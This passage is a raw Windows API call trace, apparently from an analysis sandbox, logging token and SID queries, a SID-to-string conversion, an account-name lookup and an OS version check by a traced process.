pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0127.242] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0127.242] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0127.242] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0127.242] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x670ffdeb8 | out: pulNumLanguages=0x670ffdeb8) returned 1 [0127.242] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0127.244] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0127.245] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.245] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0127.246] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.246] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0127.248] GetCurrentThread () returned 0xfffffffffffffffe [0127.248] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x670ffc740 | out: TokenHandle=0x670ffc740*=0x320) returned 1 [0127.248] DuplicateTokenEx (in: hExistingToken=0x320, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x670ffc758 | out: phNewToken=0x670ffc758*=0x33c) returned 1 [0127.248] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0127.249] GetLastError () returned 0x7a [0127.249] malloc (_Size=0x2c) returned 0x196ef0d0a90 [0127.249] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x196ef0d0a90, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d0a90, ReturnLength=0x670ffc6e0) returned 1 [0127.249] IsValidSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0127.249] GetLengthSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0127.249] malloc (_Size=0x1c) returned 0x196ef0f9e80 [0127.249] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9e80, pSourceSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9e80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0127.249] GetSidIdentifierAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa2 [0127.249] malloc (_Size=0x18) returned 0x196ef0d1c60 [0127.249] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0127.249] malloc (_Size=0x18) returned 0x196ef0d2080 [0127.249] malloc (_Size=0x18) returned 0x196ef0d1a80 [0127.249] SysStringLen (param_1="S-1-") returned 0x4 [0127.249] SysStringLen (param_1="5") returned 0x1 [0127.249] memcpy (in: _Dst=0x196ee7aab68, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7aab68) returned 0x196ee7aab68 [0127.249] memcpy (in: _Dst=0x196ee7aab70, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7aab70) returned 0x196ee7aab70 [0127.249] free (_Block=0x196ef0d1c60) [0127.249] free (_Block=0x196ef0d2080) [0127.249] GetSidSubAuthorityCount (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa1 [0127.249] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0aa8 [0127.249] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0127.249] malloc (_Size=0x18) returned 0x196ef0d1b00 [0127.250] malloc (_Size=0x18) returned 0x196ef0d1b40 [0127.250] SysStringLen (param_1="S-1-5") returned 0x5 [0127.250] SysStringLen (param_1="-") returned 0x1 [0127.250] memcpy (in: _Dst=0x196ee7c71c8, _Src=0x196ee7aab68, _Size=0xc | out: _Dst=0x196ee7c71c8) returned 0x196ee7c71c8 [0127.250] memcpy (in: _Dst=0x196ee7c71d2, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7c71d2) returned 0x196ee7c71d2 [0127.250] free (_Block=0x196ef0d1a80) [0127.250] free (_Block=0x196ef0d1b00) [0127.250] malloc (_Size=0x18) returned 0x196ef0d1f60 [0127.250] malloc (_Size=0x18) returned 0x196ef0d1d60 [0127.250] SysStringLen (param_1="S-1-5-") returned 0x6 [0127.250] SysStringLen (param_1="21") returned 0x2 [0127.250] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c71c8, _Size=0xe | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0127.250] memcpy (in: _Dst=0x196ee7aab44, _Src=0x196ee7aab68, _Size=0x6 | out: _Dst=0x196ee7aab44) returned 0x196ee7aab44 [0127.250] free (_Block=0x196ef0d1b40) [0127.250] free (_Block=0x196ef0d1f60) [0127.250] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0aac [0127.250] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0127.250] malloc (_Size=0x18) returned 0x196ef0d1a20 [0127.250] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0127.250] SysStringLen (param_1="S-1-5-21") returned 0x8 [0127.250] SysStringLen (param_1="-") returned 0x1 [0127.251] memcpy (in: _Dst=0x196ee7aab68, _Src=0x196ee7aab38, _Size=0x12 | out: _Dst=0x196ee7aab68) returned 0x196ee7aab68 [0127.251] memcpy (in: _Dst=0x196ee7aab78, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7aab78) returned 0x196ee7aab78 [0127.251] free (_Block=0x196ef0d1d60) [0127.251] free (_Block=0x196ef0d1a20) [0127.251] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0127.251] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0127.251] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0127.251] SysStringLen (param_1="1560258661") returned 0xa [0127.251] memcpy (in: _Dst=0x196ee7773e8, _Src=0x196ee7aab68, _Size=0x14 | out: _Dst=0x196ee7773e8) returned 0x196ee7773e8 [0127.251] memcpy (in: _Dst=0x196ee7773fa, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7773fa) returned 0x196ee7773fa [0127.251] free (_Block=0x196ef0d1ba0) [0127.251] free (_Block=0x196ef0d1ac0) [0127.251] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0ab0 [0127.251] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0127.251] malloc (_Size=0x18) returned 0x196ef0d20e0 [0127.251] malloc (_Size=0x18) returned 0x196ef0d1a60 [0127.251] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0127.251] SysStringLen (param_1="-") returned 0x1 [0127.251] memcpy (in: _Dst=0x196ee777528, _Src=0x196ee7773e8, _Size=0x28 | out: _Dst=0x196ee777528) returned 0x196ee777528 [0127.251] memcpy (in: _Dst=0x196ee77754e, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee77754e) returned 0x196ee77754e [0127.251] free (_Block=0x196ef0d1bc0) [0127.251] free (_Block=0x196ef0d20e0) [0127.252] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0127.252] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0127.252] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0127.252] SysStringLen (param_1="3990802383") returned 0xa [0127.252] memcpy (in: _Dst=0x196ee82c938, _Src=0x196ee777528, _Size=0x2a | out: _Dst=0x196ee82c938) returned 0x196ee82c938 [0127.252] memcpy (in: _Dst=0x196ee82c960, _Src=0x196ee7aab68, _Size=0x16 | out: _Dst=0x196ee82c960) returned 0x196ee82c960 [0127.252] free (_Block=0x196ef0d1a60) [0127.252] free (_Block=0x196ef0d1ba0) [0127.252] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0ab4 [0127.252] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0127.252] malloc (_Size=0x18) returned 0x196ef0d19e0 [0127.252] malloc (_Size=0x18) returned 0x196ef0d1d80 [0127.252] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0127.252] SysStringLen (param_1="-") returned 0x1 [0127.252] memcpy (in: _Dst=0x196ee82cd38, _Src=0x196ee82c938, _Size=0x3e | out: _Dst=0x196ee82cd38) returned 0x196ee82cd38 [0127.252] memcpy (in: _Dst=0x196ee82cd74, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee82cd74) returned 0x196ee82cd74 [0127.252] free (_Block=0x196ef0d1bc0) [0127.252] free (_Block=0x196ef0d19e0) [0127.252] malloc (_Size=0x18) returned 0x196ef0d1d00 [0127.252] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0127.252] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0127.252] SysStringLen (param_1="1811730007") returned 0xa [0127.253] memcpy (in: _Dst=0x196ee82c938, _Src=0x196ee82cd38, _Size=0x40 | out: _Dst=0x196ee82c938) returned 0x196ee82c938 [0127.253] memcpy (in: _Dst=0x196ee82c976, _Src=0x196ee7aab68, _Size=0x16 | out: _Dst=0x196ee82c976) returned 0x196ee82c976 [0127.253] free (_Block=0x196ef0d1d80) [0127.253] free (_Block=0x196ef0d1d00) [0127.253] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0ab8 [0127.253] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0127.253] malloc (_Size=0x18) returned 0x196ef0d1d20 [0127.253] malloc (_Size=0x18) returned 0x196ef0d1960 [0127.253] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0127.253] SysStringLen (param_1="-") returned 0x1 [0127.253] memcpy (in: _Dst=0x196ee82cd38, _Src=0x196ee82c938, _Size=0x54 | out: _Dst=0x196ee82cd38) returned 0x196ee82cd38 [0127.253] memcpy (in: _Dst=0x196ee82cd8a, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee82cd8a) returned 0x196ee82cd8a [0127.253] free (_Block=0x196ef0d1aa0) [0127.253] free (_Block=0x196ef0d1d20) [0127.253] malloc (_Size=0x18) returned 0x196ef0d1f00 [0127.253] malloc (_Size=0x18) returned 0x196ef0d1a80 [0127.253] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0127.253] SysStringLen (param_1="1000") returned 0x4 [0127.253] memcpy (in: _Dst=0x196ee82c938, _Src=0x196ee82cd38, _Size=0x56 | out: _Dst=0x196ee82c938) returned 0x196ee82c938 [0127.253] memcpy (in: _Dst=0x196ee82c98c, _Src=0x196ee7aab68, _Size=0xa | out: _Dst=0x196ee82c98c) returned 0x196ee82c98c [0127.254] free (_Block=0x196ef0d1960) [0127.254] free (_Block=0x196ef0d1f00) [0127.254] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0127.254] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0127.254] free (_Block=0x196ef0d1a80) [0127.254] malloc (_Size=0x18) returned 0x196ef0d1c40 [0127.255] free (_Block=0x196ef0d03e0) [0127.255] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 0 [0127.256] GetLastError () returned 0x7a [0127.256] malloc (_Size=0x1a) returned 0x196ef0f9dc0 [0127.256] malloc (_Size=0xe) returned 0x196ef0d1ce0 [0127.256] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9dc0, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1ce0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 1 [0127.258] malloc (_Size=0x18) returned 0x196ef0d19a0 [0127.258] malloc (_Size=0x18) returned 0x196ef0d19c0 [0127.258] free (_Block=0x196ef0f9dc0) [0127.258] free (_Block=0x196ef0d1ce0) [0127.258] free (_Block=0x196ef0f9e80) [0127.258] free (_Block=0x196ef0d19c0) [0127.258] free (_Block=0x196ef0d19a0) [0127.258] free (_Block=0x196ef0d1c40) [0127.259] free (_Block=0x196ef0d0a90) [0127.259] GetVersionExW (in: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee795208, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0127.259] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0127.259] GetLastError () returned 0x7a [0127.259] malloc (_Size=0x2c) returned 0x196ef0d09d0 [0127.259] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x196ef0d09d0, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d09d0, ReturnLength=0x670ffc6e0) returned 1 [0127.259] IsValidSid (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0127.259] GetLengthSid (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0127.259] malloc (_Size=0x1c) returned 0x196ef0f9af0 [0127.259] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9af0, pSourceSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9af0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0127.259] GetSidIdentifierAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d09e2 [0127.259] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0127.260] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0127.260] malloc (_Size=0x18) returned 0x196ef0d1d00 [0127.260] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0127.260] SysStringLen (param_1="S-1-") returned 0x4 [0127.260] SysStringLen (param_1="5") returned 0x1 [0127.260] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aab68, _Size=0xa | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0127.260] memcpy (in: _Dst=0x196ee7aab40, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7aab40) returned 0x196ee7aab40 [0127.260] free (_Block=0x196ef0d1bc0) [0127.260] free (_Block=0x196ef0d1d00) [0127.260] GetSidSubAuthorityCount (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d09e1 [0127.260] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d09e8 [0127.260] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0127.260] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0127.260] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0127.260] SysStringLen (param_1="S-1-5") returned 0x5 [0127.260] SysStringLen (param_1="-") returned 0x1 [0127.260] memcpy (in: _Dst=0x196ee7c71c8, _Src=0x196ee7aab38, _Size=0xc | out: _Dst=0x196ee7c71c8) returned 0x196ee7c71c8 [0127.260] memcpy (in: _Dst=0x196ee7c71d2, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee7c71d2) returned 0x196ee7c71d2 [0127.260] free (_Block=0x196ef0d1ec0) [0127.260] free (_Block=0x196ef0d1ba0) [0127.260] malloc (_Size=0x18) returned 0x196ef0d1be0 [0127.261] malloc (_Size=0x18) returned 0x196ef0d1d80 [0127.261] SysStringLen (param_1="S-1-5-") returned 0x6 [0127.261] SysStringLen (param_1="21") returned 0x2 [0127.261] memcpy (in: _Dst=0x196ee7aab68, _Src=0x196ee7c71c8, _Size=0xe | out: _Dst=0x196ee7aab68) returned 0x196ee7aab68 [0127.261] memcpy (in: _Dst=0x196ee7aab74, _Src=0x196ee7aab38, _Size=0x6 | out: _Dst=0x196ee7aab74) returned 0x196ee7aab74 [0127.261] free (_Block=0x196ef0d1ac0) [0127.261] free (_Block=0x196ef0d1be0) [0127.261] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d09ec [0127.261] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0127.261] malloc (_Size=0x18) returned 0x196ef0d1f40 [0127.261] malloc (_Size=0x18) returned 0x196ef0d1d60 [0127.261] SysStringLen (param_1="S-1-5-21") returned 0x8 [0127.261] SysStringLen (param_1="-") returned 0x1 [0127.261] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aab68, _Size=0x12 | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0127.261] memcpy (in: _Dst=0x196ee7aab48, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7aab48) returned 0x196ee7aab48 [0127.261] free (_Block=0x196ef0d1d80) [0127.261] free (_Block=0x196ef0d1f40) [0127.261] malloc (_Size=0x18) returned 0x196ef0d2040 [0127.261] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0127.261] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0127.261] SysStringLen (param_1="1560258661") returned 0xa [0127.262] memcpy (in: _Dst=0x196ee7773e8, _Src=0x196ee7aab38, _Size=0x14 | out: _Dst=0x196ee7773e8) returned 0x196ee7773e8 [0127.262] memcpy (in: _Dst=0x196ee7773fa, _Src=0x196ee7aab68, _Size=0x16 | out: _Dst=0x196ee7773fa) returned 0x196ee7773fa [0127.262] free (_Block=0x196ef0d1d60) [0127.262] free (_Block=0x196ef0d2040) [0127.262] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d09f0 [0127.262] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0127.262] malloc (_Size=0x18) returned 0x196ef0d2020 [0127.262] malloc (_Size=0x18) returned 0x196ef0d1d60 [0127.262] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0127.262] SysStringLen (param_1="-") returned 0x1 [0127.262] memcpy (in: _Dst=0x196ee777528, _Src=0x196ee7773e8, _Size=0x28 | out: _Dst=0x196ee777528) returned 0x196ee777528 [0127.262] memcpy (in: _Dst=0x196ee77754e, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee77754e) returned 0x196ee77754e [0127.262] free (_Block=0x196ef0d1ae0) [0127.262] free (_Block=0x196ef0d2020) [0127.262] malloc (_Size=0x18) returned 0x196ef0d2080 [0127.262] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0127.262] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0127.263] SysStringLen (param_1="3990802383") returned 0xa [0127.263] memcpy (in: _Dst=0x196ee82cd38, _Src=0x196ee777528, _Size=0x2a | out: _Dst=0x196ee82cd38) returned 0x196ee82cd38 [0127.263] memcpy (in: _Dst=0x196ee82cd60, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee82cd60) returned 0x196ee82cd60 [0127.263] free (_Block=0x196ef0d1d60) [0127.263] free (_Block=0x196ef0d2080) [0127.263] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d09f4 [0127.263] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0127.263] malloc (_Size=0x18) returned 0x196ef0d1b00 [0127.263] malloc (_Size=0x18) returned 0x196ef0d1e00 [0127.263] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0127.263] SysStringLen (param_1="-") returned 0x1 [0127.263] memcpy (in: _Dst=0x196ee82c938, _Src=0x196ee82cd38, _Size=0x3e | out: _Dst=0x196ee82c938) returned 0x196ee82c938 [0127.263] memcpy (in: _Dst=0x196ee82c974, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee82c974) returned 0x196ee82c974 [0127.263] free (_Block=0x196ef0d1ce0) [0127.263] free (_Block=0x196ef0d1b00) [0127.263] malloc (_Size=0x18) returned 0x196ef0d1b40 [0127.263] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0127.263] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0127.263] SysStringLen (param_1="1811730007") returned 0xa [0127.263] memcpy (in: _Dst=0x196ee82cd38, _Src=0x196ee82c938, _Size=0x40 | out: _Dst=0x196ee82cd38) returned 0x196ee82cd38 [0127.263] memcpy (in: _Dst=0x196ee82cd76, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee82cd76) returned 0x196ee82cd76 [0127.264] free (_Block=0x196ef0d1e00) [0127.264] free (_Block=0x196ef0d1b40) [0127.264] GetSidSubAuthority (pSid=0x196ef0d09e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d09f8 [0127.264] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0127.264] malloc (_Size=0x18) returned 0x196ef0d1a60 [0127.264] malloc (_Size=0x18) returned 0x196ef0d1be0 [0127.264] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0127.264] SysStringLen (param_1="-") returned 0x1 [0127.264] memcpy (in: _Dst=0x196ee82c938, _Src=0x196ee82cd38, _Size=0x54 | out: _Dst=0x196ee82c938) returned 0x196ee82c938 [0127.264] memcpy (in: _Dst=0x196ee82c98a, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee82c98a) returned 0x196ee82c98a [0127.264] free (_Block=0x196ef0d1ca0) [0127.264] free (_Block=0x196ef0d1a60) [0127.264] malloc (_Size=0x18) returned 0x196ef0d1f40 [0127.264] malloc (_Size=0x18) returned 0x196ef0d20c0 [0127.264] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0127.264] SysStringLen (param_1="1000") returned 0x4 [0127.264] memcpy (in: _Dst=0x196ee82cd38, _Src=0x196ee82c938, _Size=0x56 | out: _Dst=0x196ee82cd38) returned 0x196ee82cd38 [0127.264] memcpy (in: _Dst=0x196ee82cd8c, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee82cd8c) returned 0x196ee82cd8c [0127.264] free 